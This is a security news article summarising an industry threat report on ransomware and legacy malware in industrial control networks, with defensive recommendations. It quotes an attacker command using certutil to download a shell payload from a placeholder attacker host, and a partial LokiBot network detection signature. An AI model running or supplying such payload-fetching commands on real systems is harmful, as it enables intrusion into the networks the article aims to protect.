Ransomware breaks OT wide open in 2025 tech reckoning

Elite ransomware groups are using USB bait, repurposed Trojans, and lax execution controls to get past old defenses and take control of industrial control systems. Honeywell’s 2025 Cyber Threat Report is a red teamer’s cheat sheet and a blue teamer’s worst nightmare of an incident response drill; built from billions of logs and millions of file scans, their findings are bad configurations and stale assumptions about global OT environments.

Threat actors don’t need zero days when the door is wide open

If you still think ransomware true ransomware gangs need sophisticated exploits to get into industrial control systems, the report will set you straight. Honeywell’s telemetry from 2024, October, to 2025, March, shows most successful intrusions occurred from mistakes. No zero days are needed when removable media access is wide open and you do nothing to limit authorities with permissive by default execution policies.

A scary finding was the return of W32.Worm. Ramnit, a Trojan originally created to steal banking credentials. It’s now showing up in OT threat logs everywhere, accounting for 37% of blocked threats. The report also shows a 3,000% increase in Ramnit detections. This just means adversaries are repurposing old malware for a new audience in industrial settings.

“A seemingly harmless promotional USB stick, distributed at a trade show, contained a hidden payload that installed a keylogger on the network.”

This isn’t theory. It is USB autoplay becoming root access.

Weak access policies and policy drift hand over the keys

Honeywell’s AMIR team triaged over 54,000 alerts to extract 107 unique incidents. A quarter of the top alerts were triggered by USB plug-and-play events. The second most frequent pattern involved local security groups being modified. In some cases, new user accounts were silently granted administrative privileges.

The most surprising trend was customers downgrading Carbon Black AppControl enforcement from high to low. This allowed unrestricted file execution unless a binary was on a denylist.

“Downgrading enforcement is not recommended. Instead, use publisher and certificate-based approvals to control execution.”

When enforcement moves from whitelist to blacklist, threat actors get to operate in near-zero friction environments.

Old-school malware families make a strong comeback

Honeywell SMX scanned more than 31 million files and blocked nearly 5,000 threats across customer endpoints. Four malware families stood out across 1,826 unique detections: Ramnit, Shyape, LokiBot, and Sohanad. These are not new. They are persistent, modular, and super effective against poorly monitored OT networks.

LokiBot is a credential stealer that targets browsers, email clients, FTP tools, and cryptocurrency wallets. It uses CVEs like 2021-40444, .NET-based loaders, and HTTP POST payloads.

The report has this detection signature for LokiBot:

msg: "Lokibot: HTTP URI POST contains '/fre.php' post-infection."

http_uri; content: "POST"

Even with that much detail, many OT sites don’t have deep packet inspection to detect this behavior.

Ransomware groups are running playbooks faster than defenses can adapt

The report found 1,929 ransomware attacks in the time, with CL0P leading the way in documented victims. As a ransomware-as-a-service outfit, CL0P uses known CVEs like CVE-2023-27350 in PaperCut servers to bypass auth and get remote code execution.

The technical chain is simple:

certutil.exe -urlcache -f http://attacker.site/shell.exe

This command allows attackers to execute shell payloads as SYSTEM by exploiting misconfigured print servers. The Honeywell team even has a sample detection rule using HTTP method and URI filters.

“Attackers used PaperCut’s scripting interface to execute shell commands with elevated privileges.”

Once the attacker has a shell inside your network, lateral movement into OT is just a matter of time.

What elite defenders are doing right now

The report’s defensive strategies are clear, practical, and actionable. These include:

•    Scanning USB drives at physical kiosks before allowing media into critical zones

•    Locking AppControl enforcement levels at high with certificate-based exceptions

•    Auditing domain controllers to detect unauthorized group membership

•    Deploying zero trust policies and microsegmentation across IT and OT boundaries

•    Patching CVEs for systems still vulnerable to 2010 exploits

Another area of focus is visibility. Security teams should log config drift and group changes. They should monitor policy enforcement and validate no unexpected execution changes occur. Most importantly, they must assume compromise and limit damage through layered controls.

From the trenches

Honeywell’s 2025 report is not talking about theoretical risk; these are real, repeatable scenarios with real data, and the results are very real. If you’re not enforcing policy on access, if you have weak or no policy on USB, and if you’re still relying on signature-based detection, you’ve already failed to mitigate.

“The attacker doesn’t care how old the exploit is if you never patched it.”

This isn’t a battle of innovation. This is a fight against stupidity, misconfiguration, and risk that’s been ignored. The window to mitigate is closing, but there’s still time to add more intelligent defenses before the next breach script is run.

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